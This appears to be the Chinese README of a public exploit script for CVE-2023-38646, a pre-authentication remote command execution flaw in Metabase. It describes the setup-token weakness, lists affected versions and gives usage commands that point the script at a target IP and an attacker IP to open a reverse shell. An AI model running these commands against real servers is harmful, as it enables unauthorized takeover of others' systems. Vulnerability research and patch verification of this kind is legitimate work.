Metabase 开源版 0.46.6.1 之前版本以及 Metabase 企业版 1.46.6.1 之前版本允许攻击者以服务器权限级别在服务器上执行任意命令。利用该漏洞无需身份认证。其他已修复的版本包括 0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2 和 1.43.7.2。
该漏洞存在于应用程序暴露的 setup-token 中,该 token 可用于 api/setup/validate 接口验证数据库。未授权用户可以创建恶意代码并执行任意命令。
自行承担使用风险
本脚本仅供教育和测试目的使用。作者对其使用造成的任何滥用或损害概不负责。请确保遵守适用法律和道德标准。使用本脚本即表示您承认并接受这些条款。
Metabase 是一个开源商业智能工具,允许您使用来自多种数据库和数据源的数据创建图表和仪表板。这是一个受欢迎的项目,在 GitHub 上有超过 33k 颗星,并且在过去几年中从漏洞研究角度受到了相当多的关注。
usage: CVE-2023-38646.py [-h] -rh REMOTE_HOST [-rp [REMOTE_PORT]] -p PORT -l LOCAL_HOST
options:
-h, --help show this help message and exit
-rh REMOTE_HOST, --remote-host REMOTE_HOST
Hostname of the target.
-rp [REMOTE_PORT], --remote-port [REMOTE_PORT]
Port of the Target Machine (default: Port 80)
-p PORT, --port PORT Port for reverse shell.
-l LOCAL_HOST, --local-host LOCAL_HOST
Your IP Adress
你可以使用以下命令运行脚本。你可以通过 -rp 参数更改远程端口。默认端口为 80。
./CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>
python3 CVE-2023-38646.py -rh <Target-IP> -p <revese-shell port> -l <Attacker IP>

Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2